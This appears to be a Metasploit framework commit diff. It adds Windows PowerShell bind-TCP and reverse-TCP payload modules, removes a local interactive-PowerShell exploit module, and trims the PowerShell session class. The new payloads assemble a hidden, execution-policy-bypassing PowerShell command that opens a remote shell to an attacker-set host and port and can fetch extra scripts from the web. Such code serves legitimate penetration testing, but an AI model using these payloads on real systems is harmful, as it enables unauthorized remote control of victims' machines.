Inserted ARCH_X86 payloads, removed interactive_powershell and updated base powershell session
parent
4cb1a6c255
commit
1cc167a7fb
|
@ -1,44 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/base'
|
||||
require 'msf/base/sessions/scriptable'
|
||||
require 'shellwords'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides basic interaction with a command shell on the remote
|
||||
# endpoint. This session is initialized with a stream that will be used
|
||||
# as the pipe for reading and writing the command shell.
|
||||
#
|
||||
###
|
||||
class PowerShell
|
||||
|
||||
#
|
||||
# This interface supports basic interaction.
|
||||
#
|
||||
include Msf::Session::Basic
|
||||
|
||||
#
|
||||
# This interface supports interacting with a single command shell.
|
||||
#
|
||||
include Msf::Session::Provider::SingleCommandShell
|
||||
|
||||
include Msf::Session::Scriptable
|
||||
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Scriptable implementors
|
||||
#
|
||||
# Executes the supplied script, must be specified as full path.
|
||||
#
|
||||
# Msf::Session::Scriptable implementor
|
||||
#
|
||||
def execute_file(full_path, args)
|
||||
o = Rex::Script::Shell.new(self, full_path)
|
||||
o.run(args)
|
||||
end
|
||||
class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell
|
||||
|
||||
#
|
||||
# Returns the type of session.
|
||||
|
@ -47,273 +10,10 @@ class PowerShell
|
|||
"powershell"
|
||||
end
|
||||
|
||||
def initialize(*args)
|
||||
self.platform ||= ""
|
||||
self.arch ||= ""
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the session description.
|
||||
#
|
||||
def desc
|
||||
"Powershell session"
|
||||
end
|
||||
|
||||
#
|
||||
# Explicitly runs a command.
|
||||
#
|
||||
def run_cmd(cmd)
|
||||
shell_command(cmd)
|
||||
end
|
||||
|
||||
#
|
||||
# Calls the class method.
|
||||
#
|
||||
def type
|
||||
self.class.type
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Provider::SingleCommandShell implementors
|
||||
#
|
||||
# The shell will have been initialized by default.
|
||||
#
|
||||
def shell_init
|
||||
return true
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Provider::SingleCommandShell implementors
|
||||
#
|
||||
# Explicitly run a single command, return the output.
|
||||
#
|
||||
def shell_command(cmd)
|
||||
# Send the command to the session's stdin.
|
||||
shell_write(cmd + "\n")
|
||||
|
||||
timeo = 5
|
||||
etime = ::Time.now.to_f + timeo
|
||||
buff = ""
|
||||
|
||||
# Keep reading data until no more data is available or the timeout is
|
||||
# reached.
|
||||
while (::Time.now.to_f < etime and (self.respond_to?(:ring) or ::IO.select([rstream], nil, nil, timeo)))
|
||||
res = shell_read(-1, 0.01)
|
||||
buff << res if res
|
||||
timeo = etime - ::Time.now.to_f
|
||||
end
|
||||
|
||||
buff
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Provider::SingleCommandShell implementors
|
||||
#
|
||||
# Read from the command shell.
|
||||
#
|
||||
def shell_read(length=-1, timeout=1)
|
||||
return shell_read_ring(length,timeout) if self.respond_to?(:ring)
|
||||
|
||||
begin
|
||||
rv = rstream.get_once(length, timeout)
|
||||
framework.events.on_session_output(self, rv) if rv
|
||||
return rv
|
||||
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
|
||||
#print_error("Socket error: #{e.class}: #{e}")
|
||||
shell_close
|
||||
raise e
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Read from the command shell.
|
||||
#
|
||||
def shell_read_ring(length=-1, timeout=1)
|
||||
self.ring_buff ||= ""
|
||||
|
||||
# Short-circuit bad length values
|
||||
return "" if length == 0
|
||||
|
||||
# Return data from the stored buffer if available
|
||||
if self.ring_buff.length >= length and length > 0
|
||||
buff = self.ring_buff.slice!(0,length)
|
||||
return buff
|
||||
end
|
||||
|
||||
buff = self.ring_buff
|
||||
self.ring_buff = ""
|
||||
|
||||
begin
|
||||
::Timeout.timeout(timeout) do
|
||||
while( (length > 0 and buff.length < length) or (length == -1 and buff.length == 0))
|
||||
ring.select
|
||||
nseq,data = ring.read_data(self.ring_seq)
|
||||
if data
|
||||
self.ring_seq = nseq
|
||||
buff << data
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
|
||||
shell_close
|
||||
raise e
|
||||
end
|
||||
|
||||
# Store any leftovers in the ring buffer backlog
|
||||
if length > 0 and buff.length > length
|
||||
self.ring_buff = buff[length, buff.length - length]
|
||||
buff = buff[0,length]
|
||||
end
|
||||
|
||||
buff
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Provider::SingleCommandShell implementors
|
||||
#
|
||||
# Writes to the command shell.
|
||||
#
|
||||
def shell_write(buf)
|
||||
return if not buf
|
||||
|
||||
begin
|
||||
framework.events.on_session_command(self, buf.strip)
|
||||
rstream.write(buf)
|
||||
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
|
||||
#print_error("Socket error: #{e.class}: #{e}")
|
||||
shell_close
|
||||
raise e
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Provider::SingleCommandShell implementors
|
||||
#
|
||||
# Closes the shell.
|
||||
#
|
||||
def shell_close()
|
||||
rstream.close rescue nil
|
||||
self.kill
|
||||
end
|
||||
|
||||
#
|
||||
# Execute any specified auto-run scripts for this session
|
||||
#
|
||||
def process_autoruns(datastore)
|
||||
# Read the initial output and mash it into a single line
|
||||
if (not self.info or self.info.empty?)
|
||||
initial_output = shell_read(-1, 0.01)
|
||||
if (initial_output)
|
||||
initial_output.force_encoding("ASCII-8BIT") if initial_output.respond_to?(:force_encoding)
|
||||
initial_output.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_")
|
||||
initial_output.gsub!(/[\r\n\t]+/, ' ')
|
||||
initial_output.strip!
|
||||
|
||||
# Set the inital output to .info
|
||||
self.info = initial_output
|
||||
end
|
||||
end
|
||||
|
||||
if (datastore['InitialAutoRunScript'] && datastore['InitialAutoRunScript'].empty? == false)
|
||||
args = Shellwords.shellwords( datastore['InitialAutoRunScript'] )
|
||||
print_status("Session ID #{sid} (#{tunnel_to_s}) processing InitialAutoRunScript '#{datastore['InitialAutoRunScript']}'")
|
||||
execute_script(args.shift, *args)
|
||||
end
|
||||
|
||||
if (datastore['AutoRunScript'] && datastore['AutoRunScript'].empty? == false)
|
||||
args = Shellwords.shellwords( datastore['AutoRunScript'] )
|
||||
print_status("Session ID #{sid} (#{tunnel_to_s}) processing AutoRunScript '#{datastore['AutoRunScript']}'")
|
||||
execute_script(args.shift, *args)
|
||||
end
|
||||
end
|
||||
|
||||
def reset_ring_sequence
|
||||
self.ring_seq = 0
|
||||
end
|
||||
|
||||
attr_accessor :arch
|
||||
attr_accessor :platform
|
||||
|
||||
protected
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
# Override the basic session interaction to use shell_read and
|
||||
# shell_write instead of operating on rstream directly.
|
||||
def _interact
|
||||
framework.events.on_session_interact(self)
|
||||
if self.respond_to?(:ring)
|
||||
_interact_ring
|
||||
else
|
||||
_interact_stream
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Msf::Session::Interactive implementors
|
||||
#
|
||||
def _interact_stream
|
||||
fds = [rstream.fd, user_input.fd]
|
||||
while self.interacting
|
||||
sd = Rex::ThreadSafe.select(fds, nil, fds, 0.5)
|
||||
next if not sd
|
||||
|
||||
if sd[0].include? rstream.fd
|
||||
user_output.print(shell_read)
|
||||
end
|
||||
if sd[0].include? user_input.fd
|
||||
shell_write(user_input.gets)
|
||||
end
|
||||
Thread.pass
|
||||
end
|
||||
end
|
||||
|
||||
def _interact_ring
|
||||
|
||||
begin
|
||||
|
||||
rdr = framework.threads.spawn("RingMonitor", false) do
|
||||
seq = nil
|
||||
while self.interacting
|
||||
|
||||
# Look for any pending data from the remote ring
|
||||
nseq,data = ring.read_data(seq)
|
||||
|
||||
# Update the sequence number if necessary
|
||||
seq = nseq || seq
|
||||
|
||||
# Write output to the local stream if successful
|
||||
user_output.print(data) if data
|
||||
|
||||
begin
|
||||
# Wait for new data to arrive on this session
|
||||
ring.wait(seq)
|
||||
rescue EOFError => e
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
while self.interacting
|
||||
# Look for any pending input or errors from the local stream
|
||||
sd = Rex::ThreadSafe.select([ _local_fd ], nil, [_local_fd], 5.0)
|
||||
|
||||
# Write input to the ring's input mechanism
|
||||
shell_write(user_input.gets) if sd
|
||||
end
|
||||
|
||||
ensure
|
||||
rdr.kill
|
||||
end
|
||||
end
|
||||
|
||||
attr_accessor :ring_seq # This tracks the last seen ring buffer sequence (for shell_read)
|
||||
attr_accessor :ring_buff # This tracks left over read data to maintain a compatible API
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1915,10 +1915,6 @@ class Core
|
|||
session.init_ui(driver.input, driver.output)
|
||||
session.execute_script('post/multi/manage/shell_to_meterpreter')
|
||||
session.reset_ui
|
||||
elsif session.type == 'powershell'
|
||||
session.init_ui(driver.input, driver.output)
|
||||
session.execute_script('post/multi/manage/shell_to_meterpreter')
|
||||
session.reset_ui
|
||||
else
|
||||
print_error("Session #{sess_id} is not a command shell session, skipping...")
|
||||
next
|
||||
|
|
|
@ -1,77 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Windows Local Interactive Powershell Session",
|
||||
'Description' => %q(
|
||||
This module will start a new interactive PowerShell bind session. A list of
|
||||
modules (comma separated) can be supplied in the LOAD_MODULES option to import
|
||||
into the interactive session. E.g. http://site/p1.ps1,http://site/p2.ps1
|
||||
Use a meterpreter route to ensure you can gain access to the bind port.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DisclosureDate' => 'Apr 15 2015',
|
||||
'Author' =>
|
||||
[
|
||||
'Ben Turner', # benpturner
|
||||
'Dave Hardy' # davehardy20
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find'
|
||||
}
|
||||
},
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
rhost = datastore['RHOST']
|
||||
lhost = datastore['LHOST']
|
||||
lport = datastore['LPORT']
|
||||
payload = datastore['PAYLOAD']
|
||||
|
||||
# sysinfo is only on meterpreter sessions
|
||||
vprint_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
|
||||
|
||||
# Check that the payload is a Windows one and on the list
|
||||
if not session.framework.payloads.keys.grep(/windows/).include?(datastore['PAYLOAD'])
|
||||
print_error("The Payload specified #{datastore['PAYLOAD']} is not a valid for this system")
|
||||
return
|
||||
end
|
||||
|
||||
raw = generate_payload.raw
|
||||
res = session.sys.process.execute("#{raw}", nil, 'Hidden' => true, 'Channelized' => false)
|
||||
fail_with(Failure::Unknown,'Failed to start powershell process') unless res && res.pid
|
||||
computer_name = session.sys.config.sysinfo['Computer']
|
||||
vprint_status("Started PowerShell on #{computer_name} - PID: #{res.pid}")
|
||||
|
||||
if session.framework.payloads.keys.grep(/bind/).include?(datastore['PAYLOAD'])
|
||||
print_status("Attemping to connect to #{rhost}:#{lport}...")
|
||||
else
|
||||
print_status("Waiting for connection from #{rhost}:#{lport}...")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,83 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/exec'
|
||||
require 'msf/base/sessions/powershell'
|
||||
###
|
||||
#
|
||||
# Extends the Exec payload to add a new user.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 1455
|
||||
|
||||
include Msf::Payload::Windows::Exec
|
||||
include Rex::Powershell::Command
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
|
||||
'Description' => 'Listen for a connection and spawn an interactive powershell session',
|
||||
'Author' =>
|
||||
[
|
||||
'Ben Turner', # benpturner
|
||||
'Dave Hardy' # davehardy20
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::PowerShell,
|
||||
))
|
||||
|
||||
# Register command execution options
|
||||
register_options(
|
||||
[
|
||||
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
|
||||
], self.class)
|
||||
# Hide the CMD option...this is kinda ugly
|
||||
deregister_options('CMD')
|
||||
end
|
||||
|
||||
#
|
||||
# Override the exec command string
|
||||
#
|
||||
def command_string
|
||||
lport = datastore['LPORT']
|
||||
|
||||
template_path = File.join(
|
||||
Msf::Config.data_directory,
|
||||
'exploits',
|
||||
'powershell',
|
||||
'powerfun.ps1')
|
||||
|
||||
script_in = File.read(template_path)
|
||||
script_in << "\npowerfun -Command bind"
|
||||
|
||||
mods = ''
|
||||
|
||||
if datastore['LOAD_MODULES']
|
||||
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||
mods_array.collect(&:strip)
|
||||
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||
mods_array.each {|m| vprint_good " #{m}"}
|
||||
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||
script_in << " -Download true\n"
|
||||
end
|
||||
|
||||
script_in.gsub!('MODULES_REPLACE', mods)
|
||||
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||
|
||||
script = Rex::Powershell::Command.compress_script(script_in)
|
||||
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,85 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/exec'
|
||||
require 'msf/base/sessions/powershell'
|
||||
###
|
||||
#
|
||||
# Extends the Exec payload to add a new user.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 1439
|
||||
|
||||
include Msf::Payload::Windows::Exec
|
||||
include Rex::Powershell::Command
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
|
||||
'Description' => 'Listen for a connection and spawn an interactive powershell session',
|
||||
'Author' =>
|
||||
[
|
||||
'Ben Turner', # benpturner
|
||||
'Dave Hardy' # davehardy20
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::PowerShell,
|
||||
))
|
||||
|
||||
# Register command execution options
|
||||
register_options(
|
||||
[
|
||||
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
|
||||
], self.class)
|
||||
# Hide the CMD option...this is kinda ugly
|
||||
deregister_options('CMD')
|
||||
end
|
||||
|
||||
#
|
||||
# Override the exec command string
|
||||
#
|
||||
def command_string
|
||||
lport = datastore['LPORT']
|
||||
lhost = datastore['LHOST']
|
||||
|
||||
template_path = File.join(
|
||||
Msf::Config.data_directory,
|
||||
'exploits',
|
||||
'powershell',
|
||||
'powerfun.ps1')
|
||||
|
||||
script_in = File.read(template_path)
|
||||
script_in << "\npowerfun -Command reverse"
|
||||
|
||||
mods = ''
|
||||
|
||||
if datastore['LOAD_MODULES']
|
||||
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||
mods_array.collect(&:strip)
|
||||
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||
mods_array.each {|m| vprint_good " #{m}"}
|
||||
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||
script_in << " -Download true\n"
|
||||
end
|
||||
|
||||
script_in.gsub!('MODULES_REPLACE', mods)
|
||||
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
|
||||
|
||||
script = Rex::Powershell::Command.compress_script(script_in)
|
||||
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||
|
||||
end
|
||||
end
|
|
@ -3794,6 +3794,26 @@ describe 'modules/payloads', :content do
|
|||
reference_name: 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp'
|
||||
end
|
||||
|
||||
context 'windows/powershell_bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/windows/powershell_bind_tcp'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/powershell_bind_tcp'
|
||||
end
|
||||
|
||||
context 'windows/powershell_reverse_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/windows/powershell_reverse_tcp'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/powershell_reverse_tcp'
|
||||
end
|
||||
|
||||
context 'windows/shell/bind_hidden_ipknock_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
|
Loading…
Reference in New Issue